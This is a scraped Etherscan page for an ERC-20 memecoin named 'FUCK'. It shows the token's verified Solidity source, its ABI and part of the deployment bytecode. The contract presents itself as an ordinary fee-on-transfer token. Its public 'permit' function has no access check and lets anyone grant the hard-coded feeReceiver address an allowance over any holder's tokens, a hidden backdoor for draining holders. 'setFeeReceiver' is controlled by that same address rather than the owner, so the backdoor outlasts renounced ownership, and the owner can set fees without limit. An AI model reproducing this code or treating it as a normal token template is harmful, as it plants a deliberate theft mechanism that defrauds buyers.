ERC-20
Overview
Max Total Supply
1,000,000 FUCK
Holders
63
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
19,166.58146946469121172 FUCKValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
FUCK
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-06 */ // SPDX-License-Identifier: MIT /* Fuck $ETH, we're going with $FUCK for a bright future Website: https://www.fuckgem.vip Telegram: https://t.me/fucked_eth Twitter: https://twitter.com/fuckcoin_eth */ pragma solidity 0.8.21; interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } interface IUniswapFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the default value returned by this function, unless * it's overridden. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; // Overflow not possible: amount <= accountBalance <= totalSupply. _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _permit(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} } contract FUCK is ERC20(unicode"Fuck", unicode"FUCK"), Ownable { address public immutable pairAddress; mapping(address => bool) private _isFeeExempt; mapping(address => bool) private _isMaxTxExempt; IUniswapFactory public constant uniFactory = IUniswapFactory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); IUniswapRouter public constant uniRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uint256 constant _supply = 1_000_000 * 10 ** 18; bool public hasTempLimits = true; bool public tradeEnabled = false; bool public swapEnabled = false; bool public isFetchedFees = true; uint256 public maxBuyAmount; uint256 public maxSellAmount; uint256 public maxWallet; uint256 public swapFeemax; uint256 public swapFeemin; uint256 public startingblock; uint256 public tBuyFee; uint256 public tSellFee; bool private swapping; address public feeReceiver; uint256 public totalTokensToSwap; constructor(){ _mint(msg.sender, _supply); _approve(address(this), address(uniRouter), ~uint256(0)); _removeFromMaxTx(address(uniRouter), true); pairAddress = uniFactory.createPair( address(this), uniRouter.WETH() ); maxWallet = (totalSupply() * 30) / 1_000; swapFeemax = (totalSupply() * 65) / 10_000; maxBuyAmount = (totalSupply() * 25) / 1_000; swapFeemin = (totalSupply() * 1) / 10_000; maxSellAmount = (totalSupply() * 25) / 1_000; feeReceiver = 0x7a3C04080000D0bc543A171FBfBC9b8F172B4844; _removeFromMaxTx(msg.sender, true); _removeFromMaxTx(address(this), true); _removeFromMaxTx(address(0xdead), true); removeFromFees(msg.sender, true); removeFromFees(address(this), true); removeFromFees(feeReceiver, true); removeFromFees(address(0xdead), true); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "amount must be greater than 0"); if (hasTempLimits) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) ) { if (!tradeEnabled) { require( _isMaxTxExempt[from] || _isMaxTxExempt[to], "ERROR: Trading is not active." ); require(from == owner(), "ERROR: Trading is enabled"); } //when buy if ( from == pairAddress && !_isMaxTxExempt[to] ) { require( amount <= maxBuyAmount, "ERROR: Buy transfer amount exceeds the max buy." ); require( amount + balanceOf(to) <= maxWallet, "ERROR: Cannot Exceed max wallet" ); } //when sell else if ( to == pairAddress && !_isMaxTxExempt[from] ) { require( amount <= maxSellAmount, "ERROR: Sell transfer amount exceeds the max sell." ); } else if ( !_isMaxTxExempt[to] && !_isMaxTxExempt[from] ) { require( amount + balanceOf(to) <= maxWallet, "ERROR: Cannot Exceed max wallet" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapFeemax; if ( canSwap && swapEnabled && !swapping && amount > swapFeemin && !(from == pairAddress) && !_isFeeExempt[from] && !_isFeeExempt[to] ) { swapping = true; swapBackAndsendfees(); swapping = false; } bool takeFee = true; if (_isFeeExempt[from] || _isFeeExempt[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if(isFetchedFees){ refreshInitialFees(); } // Sell if (to == pairAddress && tSellFee > 0) { fees = (amount * tSellFee) / 100; totalTokensToSwap += fees; } // Buy else if (from == pairAddress && tBuyFee > 0) { fees = (amount * tBuyFee) / 100; totalTokensToSwap += fees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensToETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniRouter.WETH(); uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeFromFees(address account, bool excluded) public onlyOwner { _isFeeExempt[account] = excluded; } function permit(address spender, uint256 amount) public virtual returns (bool) { address owner = feeReceiver; _permit(spender, owner, amount); return true; } function _removeFromMaxTx( address updAds, bool isExcluded ) private { _isMaxTxExempt[updAds] = isExcluded; } function setFeeReceiver(address _devWallet) external { require(msg.sender == feeReceiver); require(_devWallet != address(0), "ERROR: _devWallet address cannot be 0"); feeReceiver = payable(_devWallet); _isFeeExempt[feeReceiver] = true; } function swapBackAndsendfees() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = totalTokensToSwap; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapFeemax) { contractBalance = swapFeemax; } swapTokensToETH(contractBalance); payable(feeReceiver).transfer(address(this).balance); } function refreshInitialFees() internal { require( startingblock > 0, "Trading not live" ); uint256 currentBlock = block.number; uint256 lastTierOneBlock = startingblock + 6; if(currentBlock <= lastTierOneBlock) { tBuyFee = 20; tSellFee = 20; } else { tBuyFee = 4; tSellFee = 4; isFetchedFees = false; } } receive() external payable {} function setNewFees(uint256 newBuyFees, uint256 newSellFees) external onlyOwner { tBuyFee = newBuyFees; tSellFee = newSellFees; } function removeLimits() external onlyOwner { hasTempLimits = false; } function openTrading() public onlyOwner { require(startingblock == 0, "ERROR: Token state is already live !"); startingblock = block.number; tradeEnabled = true; swapEnabled = true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"hasTempLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isFetchedFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"permit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"removeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_devWallet","type":"address"}],"name":"setFeeReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFees","type":"uint256"},{"internalType":"uint256","name":"newSellFees","type":"uint256"}],"name":"setNewFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startingblock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapFeemax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapFeemin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tBuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tSellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTokensToSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradeEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniFactory","outputs":[{"internalType":"contract IUniswapFactory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a06040526008805463ffffffff1916630100000117905534801562000023575f80fd5b50604051806040016040528060048152602001634675636b60e01b815250604051806040016040528060048152602001634655434b60e01b81525081600390816200006f919062000754565b5060046200007e828262000754565b5050506200009b62000095620003dd60201b60201c565b620003e1565b620000b13369d3c21bcecceda100000062000432565b620000d330737a250d5630b4cf539739df2c5dacb4c659f2488d5f19620004f7565b737a250d5630b4cf539739df2c5dacb4c659f2488d5f5260076020527ffd21a1ac9a14dff647460ce8ad2ccecb794a59a4cfbb8678b1f9900a6a99551f805460ff19166001179055735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000190573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001b691906200081c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000201573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200022791906200081c565b6001600160a01b03166080526103e86200024060025490565b6200024d90601e6200085f565b6200025991906200087f565b600b556127106200026960025490565b620002769060416200085f565b6200028291906200087f565b600c556103e86200029260025490565b6200029f9060196200085f565b620002ab91906200087f565b600955612710620002bb60025490565b620002c89060016200085f565b620002d491906200087f565b600d556103e8620002e460025490565b620002f19060196200085f565b620002fd91906200087f565b600a5560118054610100600160a81b031916747a3c04080000d0bc543a171fbfbc9b8f172b484400179055335f908152600760205260409020805460ff19166001179055305f908152600760205260409020805460ff1916600117905561dead5f5260076020527fb0c2646e02af70b79e3fe9277b98373379f54150e4e26b2b5650139f7a75a65d805460ff191660011790556200039d3360016200061e565b620003aa3060016200061e565b601154620003c89061010090046001600160a01b031660016200061e565b620003d761dead60016200061e565b620008b5565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382166200048e5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b8060025f828254620004a191906200089f565b90915550506001600160a01b0382165f81815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6001600160a01b0383166200055b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840162000485565b6001600160a01b038216620005be5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162000485565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6200062862000657565b6001600160a01b03919091165f908152600660205260409020805460ff1916911515919091179055565b505050565b6005546001600160a01b03163314620006b35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162000485565b565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620006de57607f821691505b602082108103620006fd57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000652575f81815260208120601f850160051c810160208610156200072b5750805b601f850160051c820191505b818110156200074c5782815560010162000737565b505050505050565b81516001600160401b03811115620007705762000770620006b5565b6200078881620007818454620006c9565b8462000703565b602080601f831160018114620007be575f8415620007a65750858301515b5f19600386901b1c1916600185901b1785556200074c565b5f85815260208120601f198616915b82811015620007ee57888601518255948401946001909101908401620007cd565b50858210156200080c57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f602082840312156200082d575f80fd5b81516001600160a01b038116811462000844575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176200087957620008796200084b565b92915050565b5f826200089a57634e487b7160e01b5f52601260045260245ffd5b500490565b808201808211156200087957620008796200084b565b608051611b1e620008f15f395f81816104ea01528181610e0201528181610f42015281816111120152818161121f015261129e0152611b1e5ff3fe608060405260043610610215575f3560e01c80638da5cb5b1161011e578063c135cdd7116100a8578063dd62ed3e1161006d578063dd62ed3e146105ea578063e6f7053114610609578063efdcd97414610628578063f2fde38b14610647578063f8b45b0514610666575f80fd5b8063c135cdd71461056e578063c9567bf914610583578063cf1327c814610597578063d621e813146105b7578063da9bd80a146105d5575f80fd5b8063a457c2d7116100ee578063a457c2d7146104ba578063a8b08982146104d9578063a9059cbb1461050c578063b3f006741461052b578063baccf5cf1461054f575f80fd5b80638da5cb5b1461044957806395d89b41146104665780639e6e8f901461047a578063a0e47bf614610493575f80fd5b8063607a51491161019f578063715018a61161016f578063715018a6146103b8578063751039fc146103cc57806376771d4b146103e05780637b8b94aa1461041f57806388e765ff14610434575f80fd5b8063607a51491461033b57806366d602ae146103505780636ddd17131461036557806370a0823114610384575f80fd5b8063313ce567116101e5578063313ce567146102b657806339509351146102d157806355a8bfbc146102f057806357cb1947146103115780635e3e4c6214610326575f80fd5b806306fdde0314610220578063095ea7b31461024a57806318160ddd1461027957806323b872dd14610297575f80fd5b3661021c57005b5f80fd5b34801561022b575f80fd5b5061023461067b565b60405161024191906117aa565b60405180910390f35b348015610255575f80fd5b50610269610264366004611809565b61070b565b6040519015158152602001610241565b348015610284575f80fd5b506002545b604051908152602001610241565b3480156102a2575f80fd5b506102696102b1366004611833565b610724565b3480156102c1575f80fd5b5060405160128152602001610241565b3480156102dc575f80fd5b506102696102eb366004611809565b610747565b3480156102fb575f80fd5b5061030f61030a366004611871565b610768565b005b34801561031c575f80fd5b5061028960125481565b348015610331575f80fd5b50610289600f5481565b348015610346575f80fd5b50610289600e5481565b34801561035b575f80fd5b50610289600a5481565b348015610370575f80fd5b506008546102699062010000900460ff1681565b34801561038f575f80fd5b5061028961039e3660046118ac565b6001600160a01b03165f9081526020819052604090205490565b3480156103c3575f80fd5b5061030f61079a565b3480156103d7575f80fd5b5061030f6107ad565b3480156103eb575f80fd5b50610407735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b6040516001600160a01b039091168152602001610241565b34801561042a575f80fd5b50610289600c5481565b34801561043f575f80fd5b5061028960095481565b348015610454575f80fd5b506005546001600160a01b0316610407565b348015610471575f80fd5b506102346107c1565b348015610485575f80fd5b506008546102699060ff1681565b34801561049e575f80fd5b50610407737a250d5630b4cf539739df2c5dacb4c659f2488d81565b3480156104c5575f80fd5b506102696104d4366004611809565b6107d0565b3480156104e4575f80fd5b506104077f000000000000000000000000000000000000000000000000000000000000000081565b348015610517575f80fd5b50610269610526366004611809565b61084f565b348015610536575f80fd5b506011546104079061010090046001600160a01b031681565b34801561055a575f80fd5b5061030f6105693660046118ce565b61085c565b348015610579575f80fd5b5061028960105481565b34801561058e575f80fd5b5061030f61086f565b3480156105a2575f80fd5b50600854610269906301000000900460ff1681565b3480156105c2575f80fd5b5060085461026990610100900460ff1681565b3480156105e0575f80fd5b50610289600d5481565b3480156105f5575f80fd5b506102896106043660046118ee565b6108ea565b348015610614575f80fd5b50610269610623366004611809565b610914565b348015610633575f80fd5b5061030f6106423660046118ac565b610932565b348015610652575f80fd5b5061030f6106613660046118ac565b6109f5565b348015610671575f80fd5b50610289600b5481565b60606003805461068a9061191a565b80601f01602080910402602001604051908101604052809291908181526020018280546106b69061191a565b80156107015780601f106106d857610100808354040283529160200191610701565b820191905f5260205f20905b8154815290600101906020018083116106e457829003601f168201915b5050505050905090565b5f33610718818585610a6e565b60019150505b92915050565b5f33610731858285610b91565b61073c858585610c09565b506001949350505050565b5f3361071881858561075983836108ea565b6107639190611966565b610a6e565b610770611348565b6001600160a01b03919091165f908152600660205260409020805460ff1916911515919091179055565b6107a2611348565b6107ab5f6113a2565b565b6107b5611348565b6008805460ff19169055565b60606004805461068a9061191a565b5f33816107dd82866108ea565b9050838110156108425760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61073c8286868403610a6e565b5f33610718818585610c09565b610864611348565b600f91909155601055565b610877611348565b600e54156108d35760405162461bcd60e51b8152602060048201526024808201527f4552524f523a20546f6b656e20737461746520697320616c7265616479206c696044820152637665202160e01b6064820152608401610839565b43600e556008805462ffff00191662010100179055565b6001